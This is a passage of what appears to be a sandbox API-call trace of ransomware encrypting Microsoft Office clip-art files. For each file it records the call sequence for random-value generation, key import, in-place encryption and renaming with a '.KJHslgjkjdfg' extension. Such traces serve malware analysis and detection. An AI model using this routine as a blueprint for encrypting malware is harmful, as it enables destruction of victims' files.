SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.987] SetEndOfFile (hFile=0x130) returned 1 [0234.990] GetProcessHeap () returned 0x2ef0000 [0234.990] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.990] GetProcessHeap () returned 0x2ef0000 [0234.990] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.kjhslgjkjdfg")) returned 1 [0234.992] CloseHandle (hObject=0x130) returned 1 [0234.992] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1 [0234.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.993] GetProcessHeap () returned 0x2ef0000 [0234.993] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.994] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.994] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0234.996] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.996] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.996] GetProcessHeap () returned 0x2ef0000 [0234.996] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.996] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.996] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.996] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.996] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.996] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.996] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.997] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.997] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.997] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.997] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1544, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1544, lpOverlapped=0x0) returned 1 [0234.998] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1550, dwBufLen=0x1550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1550) returned 1 [0234.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.998] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1550, lpOverlapped=0x0) returned 1 [0234.998] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.998] SetEndOfFile (hFile=0x130) returned 1 [0234.999] GetProcessHeap () returned 0x2ef0000 [0234.999] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.999] GetProcessHeap () returned 0x2ef0000 [0234.999] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.kjhslgjkjdfg")) returned 1 [0235.001] CloseHandle (hObject=0x130) returned 1 [0235.001] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0235.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.003] GetProcessHeap () returned 0x2ef0000 [0235.003] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.003] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.003] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.087] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.087] GetProcessHeap () returned 0x2ef0000 [0235.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.088] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.088] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.088] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.088] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.088] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.088] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.088] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.088] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.088] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x878, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x878, lpOverlapped=0x0) returned 1 [0235.089] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x880, dwBufLen=0x880 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x880) returned 1 [0235.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.089] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x880, lpOverlapped=0x0) returned 1 [0235.089] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.089] SetEndOfFile (hFile=0x130) returned 1 [0235.092] GetProcessHeap () returned 0x2ef0000 [0235.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.092] GetProcessHeap () returned 0x2ef0000 [0235.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.kjhslgjkjdfg")) returned 1 [0235.094] CloseHandle (hObject=0x130) returned 1 [0235.094] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1 [0235.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.095] GetProcessHeap () returned 0x2ef0000 [0235.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.095] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.095] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.101] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.101] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.101] GetProcessHeap () returned 0x2ef0000 [0235.101] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.101] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.101] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.101] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.101] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.101] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.101] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.102] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.102] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x59ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x59ec, lpOverlapped=0x0) returned 1 [0235.104] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x59f0, dwBufLen=0x59f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x59f0) returned 1 [0235.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.104] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x59f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x59f0, lpOverlapped=0x0) returned 1 [0235.104] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.104] SetEndOfFile (hFile=0x130) returned 1 [0235.106] GetProcessHeap () returned 0x2ef0000 [0235.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.106] GetProcessHeap () returned 0x2ef0000 [0235.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.kjhslgjkjdfg")) returned 1 [0235.108] CloseHandle (hObject=0x130) returned 1 [0235.108] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1 [0235.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.110] GetProcessHeap () returned 0x2ef0000 [0235.110] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.110] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.110] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.112] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.112] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.112] GetProcessHeap () returned 0x2ef0000 [0235.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.113] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.113] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb6c, lpOverlapped=0x0) returned 1 [0235.114] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb70, dwBufLen=0xb70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb70) returned 1 [0235.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.114] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb70, lpOverlapped=0x0) returned 1 [0235.114] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.114] SetEndOfFile (hFile=0x130) returned 1 [0235.117] GetProcessHeap () returned 0x2ef0000 [0235.117] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.117] GetProcessHeap () returned 0x2ef0000 [0235.117] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.kjhslgjkjdfg")) returned 1 [0235.119] CloseHandle (hObject=0x130) returned 1 [0235.119] FindNextFileW 